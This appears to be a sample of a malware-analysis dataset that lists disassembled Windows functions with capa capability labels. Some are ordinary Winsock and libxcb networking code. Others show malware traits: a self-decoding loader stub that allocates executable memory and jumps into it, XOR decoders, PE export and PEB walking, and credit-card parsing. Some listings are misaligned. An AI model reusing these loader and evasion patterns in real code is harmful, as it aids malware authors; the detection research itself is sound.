joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3f38a12e
Capabilities:
Parse credit card information

Disassembly:
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
add edx, edx
add eax, edx
mov cx, word [eax]
inc eax
push ebx
mov ebx, dword [esp + 0x10]
inc eax
cmp cx, 0x3e
push esi
mov esi, dword [ebx]
je 0x3f38a153
cmp cx, 0x7d
jne 0x3f38a162
dec esi
jne 0x3f38a15d
xor eax, eax
jmp 0x3f38a1fd
mov cx, word [eax]
inc eax
inc eax
cmp cx, 0x3a
je 0x3f38a17a
cmp cx, 0x3b
je 0x3f38a17a
cmp cx, 0x38
je 0x3f38a17a
cmp cx, 0x25
jne 0x3f38a156
dec esi
je 0x3f38a156
mov cx, word [eax]
inc eax
inc eax
cmp cx, 0x2d
je 0x3f38a18e
cmp cx, 0x5e
jne 0x3f38a198
dec esi
test esi, esi
je 0x3f38a156
mov cx, word [eax]
inc eax
inc eax
cmp cx, 0x28
je 0x3f38a1f0
cmp cx, 0x3e
je 0x3f38a1f0
cmp cx, 0x44
je 0x3f38a1f0
cmp cx, 0x49
je 0x3f38a1f0
cmp cx, 0x4f
je 0x3f38a1f0
cmp cx, 0x6f
je 0x3f38a1f0
cmp cx, 0x5c
je 0x3f38a1f0
cmp cx, 0x2f
je 0x3f38a1f0
cmp cx, 0x7c
je 0x3f38a1f0
cmp cx, 0x30
jne 0x3f38a1db
cmp word [eax - 4], 0x38
jne 0x3f38a1f0
cmp cx, 0x29
jne 0x3f38a156
cmp word [eax - 4], 0x38
je 0x3f38a156
sub eax, edx
sub eax, dword [esp + 0xc]
sar eax, 1
mov dword [ebx], eax
xor eax, eax
inc eax
pop esi
pop ebx
ret 0xc
Function at 0x3f38cf7e
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0x200
push ebx
push esi
push edi
push 0x80
lea eax, [ebp - 0x9c]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.ole32.dll_StringFromGUID2]
xor ebx, ebx
push ebx
push ebx
push 0x40
lea eax, [ebp - 0x1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x9c]
push eax
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov esi, 0x3f2ff05c
lea edi, [ebp + 0x24]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x1c]
movsb byte es:[edi], byte [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3f38cfcd
lea edi, [ebp + 0x24]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x3f38cfda
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x74]
cmp edi, ebx
mov esi, 0x3f2ff054
je 0x3f38d015
push dword [ebp + 0x70]
mov eax, edi
push ebx
call fcn.3f3709bb
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, edi
call fcn.3f3709bb
mov eax, dword [ebp + 0x78]
cmp eax, ebx
je 0x3f38d040
push dword [ebp + 0x70]
push ebx
call fcn.3f3709bb
mov eax, dword [ebp + 0x78]
push edi
push 0x3f2ff04c
call fcn.3f3709bb
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 0x78]
push esi
call fcn.3f3709bb
push dword [ebp + 0x70]
lea eax, [ebp + 0x24]
push ebx
call fcn.3f3709bb
cmp edi, ebx
je 0x3f38d05e
push edi
push 0x3f2ff044
lea eax, [ebp + 0x24]
call fcn.3f3709bb
cmp dword [ebp + 0x78], ebx
je 0x3f38d073
push dword [ebp + 0x78]
lea eax, [ebp + 0x24]
push 0x3f2ff028
call fcn.3f3709bb
push ebx
push 0x3f2ff018
lea eax, [ebp + 0x24]
call fcn.3f3709bb
push dword [ebp + 0x7c]
mov esi, 0x3f2ff008
push esi
lea eax, [ebp + 0x24]
call fcn.3f3709bb
push esi
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp - 0x19c]
push 0x3f2ff000
push eax
call fcn.3f3709bb
add esp, 0x10
push ebx
lea eax, [ebp + 0x78]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea eax, [ebp - 0x19c]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x3f38d0ff
mov esi, 0x3f2feff4
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x3f38d0d9
sub eax, edx
inc eax
push eax
push esi
push 1
push ebx
push 0x3f2fefe4
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x64
leave
ret 0x14
Function at 0x2581571f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x2581572e
pop dword [ebp - 0x28]
mov eax, 0x2581572e
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x9c2b4e60
add dword [ebp - 0x38], 0xb226f6eb
mov dword [ebp - 0x34], 0x9fedd6d2
add dword [ebp - 0x34], 0x92457573
mov dword [ebp - 0x30], 0x7205748f
sub dword [ebp - 0x30], 0x25b93061
mov dword [ebp - 0x2c], 0xcd4fc918
sub dword [ebp - 0x2c], 0xcd4fc918
lea eax, [ebp - 0x38]
push eax
mov eax, 0xa2cb401a
add eax, 0x82b6902a
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x87e93385
sub dword [ebp - 0x38], 0x1376ca2f
mov dword [ebp - 0x34], 0xa8af45c
add dword [ebp - 0x34], 0x36e16d19
mov dword [ebp - 0x30], 0x220c8765
add dword [ebp - 0x30], 0x4162e507
mov dword [ebp - 0x2c], 0xa178a728
add dword [ebp - 0x2c], 0x5e8758d8
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x7a3325be
add eax, 0xab4eaac2
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3e5bb
push 0
call eax
mov ecx, 0x4f0a
mov edx, eax
mov ebx, 0x3c17bf48
sub ebx, 0x16952948
add ebx, dword [ebp - 0x28]
mov edi, 0xa06c16ed
mov dword [ebp - 0x24], 0x4e709897
mov esi, dword [ebx]
add dword [ebp - 4], esi
sub esi, edi
xor dword [ebp - 0x14], ebx
mov dword [edx], esi
mov dword [ebp - 0x14], 0x834dc7ff
add edx, 0xf3f82674
sub edx, 0xf3f82670
add ebx, 0x516eb76d
sub ebx, 0x516eb769
loop 0x2581583f
add eax, 0x8e5b933e
add eax, 0x71a59bbd
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x25800000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x6dc21560
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x8004667e
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_ioctlsocket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x6dc215a3
mov eax, 0
jmp 0x6dc215a8
mov eax, 1
leave
ret
Function at 0x6dc218cb
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x5078]
test eax, eax
je 0x6dc218fc
mov dword [esp + 8], 0xba
mov dword [esp + 4], 0x6dc36074
mov dword [esp], 0x6dc360b0
call fcn.6dc33f40
jmp 0x6dc218fd
nop
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
jmp 0x6dc2198a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x6dc21977
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x2733
jne 0x6dc21977
mov eax, 1
jmp 0x6dc21a6b
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
add eax, 8
mov dword [ebp - 0x14], eax
add dword [ebp - 0x10], 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x10]
jg 0x6dc21923
cmp dword [ebp - 0xc], 0
jg 0x6dc219b7
mov dword [esp + 4], 1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.libxcb_1.dll__xcb_conn_shutdown
mov eax, 0
jmp 0x6dc21a6b
jmp 0x6dc21a26
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xc]
jle 0x6dc219d2
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
mov edx, dword [edx + 4]
sub edx, dword [ebp - 0x18]
mov dword [eax + 4], edx
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
mov ecx, dword [edx]
mov edx, dword [ebp - 0x18]
add edx, ecx
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
je 0x6dc21a0c
jmp 0x6dc21a2f
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
lea edx, [eax - 1]
mov eax, dword [ebp + 0x10]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
lea edx, [eax + 8]
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
test eax, eax
jne 0x6dc219b9
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
test eax, eax
jne 0x6dc21a41
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
cmp dword [ebp - 0xc], 0
je 0x6dc21a65
mov dword [esp + 8], 0x112
mov dword [esp + 4], 0x6dc36074
mov dword [esp], 0x6dc360c2
call fcn.6dc33f40
jmp 0x6dc21a66
nop
mov eax, 1
leave
ret
Function at 0x6dc235d7
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0xc], 0
jmp 0x6dc23712
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov edx, eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
add ecx, eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x6dc2362b
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6dc23707
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x6dc23707
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x14], 0
jmp 0x6dc23671
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0x114]
mov eax, dword [ebp + 8]
cmp edx, eax
jne 0x6dc2366d
jmp 0x6dc2367c
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x14]
ja 0x6dc2365a
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x14]
jne 0x6dc236ae
mov eax, dword [ebp - 0x118]
cmp eax, 0x3f
ja 0x6dc236ae
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x114], edx
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov dword [eax], 0
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6dc23707
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov eax, dword [eax]
cmp eax, 4
je 0x6dc236bb
cmp dword [ebp - 0x10], 0
jg 0x6dc23712
mov eax, dword [ebp - 0x10]
jmp 0x6dc23721
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x6dc235ec
mov eax, dword [ebp + 0x10]
leave
ret
Function at 0x6dc246ed
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1018]
mov edx, 0x1000
sub edx, eax
mov eax, edx
mov ecx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1018]
lea edx, [eax + 0x10]
mov eax, dword [ebp + 8]
add eax, edx
lea edx, [eax + 8]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x6dc2475e
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x1018]
mov eax, dword [ebp - 0xc]
add edx, eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x1018], edx
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.6dc22e6a
test eax, eax
jne 0x6dc2475f
cmp dword [ebp - 0xc], 0
jg 0x6dc24788
cmp dword [ebp - 0xc], 0
jns 0x6dc2478f
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
cmp eax, 0x2733
jne 0x6dc2478f
mov eax, 1
jmp 0x6dc247a7
mov dword [esp + 4], 1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.libxcb_1.dll__xcb_conn_shutdown
mov eax, 0
leave
ret
Function at 0x6dc2530f
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 1
cmp dword [ebp + 8], 0
jns 0x6dc25329
mov eax, 0xffffffff
jmp 0x6dc253a5
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 4
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], 6
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], 4
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 8
mov dword [esp + 4], 0xffff
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
leave
ret

Function at 0x6dc253a7
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 0x10]
mov word [ebp - 0x2c], ax
mov dword [ebp - 0xc], 0xffffffff
cmp dword [ebp + 0xc], 0
je 0x6dc25410
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x6dc3629d
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x6dc25410
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.inet
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x6dc25410
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.inet6
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x6dc25410
mov eax, 0xffffffff
jmp 0x6dc254e1
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
test al, al
jne 0x6dc25421
mov dword [ebp + 8], str.localhost
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6dc25444
mov eax, 0xffffffff
jmp 0x6dc254e1
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0xffffffff
jmp 0x6dc254d1
mov word [ebp - 0x24], 2
movzx eax, word [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x22], ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x24]
cwde
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.6dc252e3
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.6dc2530f
test eax, eax
js 0x6dc254bb
jmp 0x6dc254de
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll__close
mov dword [ebp - 0xc], 0xffffffff
add dword [ebp - 0x10], 4
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
test eax, eax
jne 0x6dc25456
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6dc25505
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x18]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x20]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.6dc25025
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6dc25567
mov dword [esp], 5
call sym.libxcb_1.dll__xcb_conn_ret_error
mov dword [ebp - 0xc], eax
jmp 0x6dc25699
lea eax, [ebp - 0x1c0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x6dc2559a
mov dword [esp], 1
call sym.libxcb_1.dll__xcb_conn_ret_error
mov dword [ebp - 0xc], eax
jmp 0x6dc25699
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.6dc25263
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x6dc255d7
mov dword [esp], 1
call sym.libxcb_1.dll__xcb_conn_ret_error
mov dword [ebp - 0xc], eax
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
jmp 0x6dc25699
cmp dword [ebp + 0xc], 0
je 0x6dc255f7
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.libxcb_1.dll_xcb_connect_to_fd
mov dword [ebp - 0xc], eax
jmp 0x6dc25699
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.libxcb_1.dll__xcb_get_auth_info
test eax, eax
je 0x6dc25641
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.libxcb_1.dll_xcb_connect_to_fd
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_free
jmp 0x6dc25657
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.libxcb_1.dll_xcb_connect_to_fd
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
test eax, eax
je 0x6dc25662
jmp 0x6dc25699
cmp dword [ebp + 0x10], 0
je 0x6dc25699
mov eax, dword [ebp + 0x10]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
movzx eax, byte [eax + 0x1c]
movzx eax, al
cmp edx, eax
jl 0x6dc25699
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.libxcb_1.dll_xcb_disconnect
mov dword [esp], 6
call sym.libxcb_1.dll__xcb_conn_ret_error
mov dword [ebp - 0xc], eax
nop
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6dc25792
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x164
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov word [ebp - 0x12], 0x100
mov eax, dword [ebp + 8]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 2
je 0x6dc25810
cmp eax, 0x17
je 0x6dc257ce
cmp eax, 1
je 0x6dc25854
jmp 0x6dc2584a
mov eax, dword [ebp + 8]
add eax, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0x10
mov eax, dword [ebp + 8]
add eax, 8
mov dword [esp], eax
call sym.libxcb_1.dll_IN6_IS_ADDR_V4MAPPED
test eax, eax
jne 0x6dc2580c
mov eax, dword [ebp + 8]
add eax, 8
mov dword [esp], eax
call sym.libxcb_1.dll_IN6_IS_ADDR_LOOPBACK
test eax, eax
jne 0x6dc2580a
mov word [ebp - 0x12], 6
jmp 0x6dc25855
jmp 0x6dc25855
add dword [ebp - 0xc], 0xc
cmp dword [ebp - 0xc], 0
jne 0x6dc2581f
mov eax, dword [ebp + 8]
add eax, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 4
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
mov dword [esp], 0x7f000001
mov eax, dword [sym.imp.WS2_32.dll_htonl]
call eax
sub esp, 4
cmp ebx, eax
je 0x6dc25848
mov word [ebp - 0x12], 0
jmp 0x6dc25855
jmp 0x6dc25855
mov eax, 0
jmp 0x6dc2592d
nop
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x6dc362ef
mov dword [esp + 4], 0x28
lea eax, [ebp - 0x140]
mov dword [esp], eax
call fcn.6dc256b4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jns 0x6dc2588d
mov eax, 0
jmp 0x6dc2592d
mov eax, dword [ebp - 0x18]
mov edx, 0x27
cmp eax, 0x27
cmova eax, edx
mov dword [ebp - 0x18], eax
cmp word [ebp - 0x12], 0x100
jne 0x6dc258e4
mov dword [esp + 4], 0x100
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostname]
call eax
sub esp, 8
cmp eax, 0xffffffff
jne 0x6dc258cd
mov eax, 0
jmp 0x6dc2592d
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
movzx ecx, ax
mov eax, dword [ebp - 0x10]
movzx edx, ax
movzx eax, word [ebp - 0x12]
mov dword [esp + 0x1c], 0x6dc3500c
mov dword [esp + 0x18], 0x6dc35004
mov dword [esp + 0x14], 2
lea ebx, [ebp - 0x140]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0xc]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.libXau_6.dll_XauGetBestAuthByAddr
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x6dc25fcc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
in al, dx
or al, 2
add byte [eax], al
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x220]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
mov eax, dword [ecx + edi + 0x1c]
mov ebx, dword [ecx + edi + 0x20]
add eax, edi
mov ebp, dword [ecx + edi + 0x24]
add ebx, edi
mov dword [esp + 0x10], eax
add ebp, edi
jmp 0x6dc26001
Function at 0x6dc262d9
Capabilities:
Encode data using xor

Disassembly:
rol byte [ebp - 0x74f18b25], 0x4c
and al, 0x3c
xor dword [eax + esi], ecx
add eax, 4
cmp eax, ebx
jb 0x6dc262e2
push 0x20a
push 0x40
call dword [esp + 0x1c]
mov cl, byte [esi]
mov ebx, eax
test cl, cl
je 0x6dc26312
mov edx, ebx
movsx ax, cl
inc esi
mov word [edx], ax
lea edx, [edx + 2]
mov cl, byte [esi]
test cl, cl
jne 0x6dc26301
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x28]
push eax
push ebx
push edi
call fcn.6dc268a5
add byte [eax], al

Function at 0x6dc264bc
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
jmp 0x6dc264c3
invalid
dec eax
test al, 3
jne 0x6dc264c2
xor ecx, ecx
test eax, eax
je 0x6dc264e1
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
xor dword [ecx + edx], esi
add ecx, 4
cmp ecx, eax
jb 0x6dc264d6
pop esi
ret

Function at 0x6dc2668c
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push esi
mov esi, dword [eax + 0xc]
add esi, 0xc

Function at 0x6dc33360
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], 0x6dc36ed0
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.6dc333c0